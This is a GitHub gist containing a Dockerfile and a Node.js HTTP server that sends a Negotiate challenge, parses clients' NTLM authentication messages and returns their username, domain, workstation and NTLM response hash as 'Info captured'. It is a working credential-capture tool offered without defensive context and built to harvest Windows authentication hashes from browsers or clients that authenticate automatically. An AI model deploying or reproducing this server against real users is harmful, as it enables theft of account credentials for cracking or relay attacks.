Created
June 5, 2025 17:10
-
-
Save dzmitry-savitski/65f9c077bb1909834556937c61dde41b to your computer and use it in GitHub Desktop.
Revisions
-
dzmitry-savitski created this gist
Jun 5, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,8 @@ FROM node:18-slim WORKDIR /app COPY server.js . EXPOSE 8080 CMD ["node", "server.js"] This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,58 @@ const http = require('http'); function parseNTLMv3Response(base64Msg) { const buffer = Buffer.from(base64Msg, 'base64'); const signature = buffer.toString('ascii', 0, 8); const messageType = buffer.readUInt8(8); if (signature !== 'NTLMSSP\0' || messageType !== 3) { return null; } function readField(offset) { const len = buffer.readUInt16LE(offset); const pos = buffer.readUInt32LE(offset + 4); return buffer.slice(pos, pos + len); } const domain = readField(28).toString('utf16le'); const username = readField(36).toString('utf16le'); const workstation = readField(44).toString('utf16le'); const hash = readField(20).toString('hex'); return { username, domain, workstation, ntlmHashHex: hash, raw: base64Msg }; } http.createServer((req, res) => { const auth = req.headers['authorization']; if (!auth) { res.writeHead(401, { 'WWW-Authenticate': 'Negotiate', 'Connection': 'keep-alive' }); res.end(); return; } const payload = auth.split(' ')[1]; const type = Buffer.from(payload, 'base64')[8]; if (type === 1) { // NTLM v2 challenge example const base64Challenge = "TlRMTVNTUAACAAAACAAIADgAAAAFAomin9pUiWsMbk8AAAAAAAAAAJoAmgBAAAAACgB8TwAAAA9JAEUASAAwAAIACABJAEUASAAwAAEAHgBXAEkATgAtADkAQQBLADAANABMAFoAOABBAFYAVwAEABQASQBFAEgAMAAuAEwATwBDAEEATAADADQAVwBJAE4ALQA5AEEASwAwADQATABaADgAQQBWAFcALgBJAEUASAAwAC4ATABPAEMAQQBMAAUAFABJAEUASAAwAC4ATABPAEMAQQBMAAAAAAA="; res.writeHead(401, { 'WWW-Authenticate': `Negotiate ${base64Challenge}`, 'Connection': 'keep-alive', }); res.end(); return; } if (type === 3) { const info = parseNTLMv3Response(payload); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(`Info captured:\nUsername: ${info.username}\nDomain: ${info.domain}\nWorkstation: ${info.workstation}\nNTLM response: ${info.ntlmHashHex}\n`); return; } res.writeHead(400); res.end('Unsupported NTLM message type.'); }).listen(8080);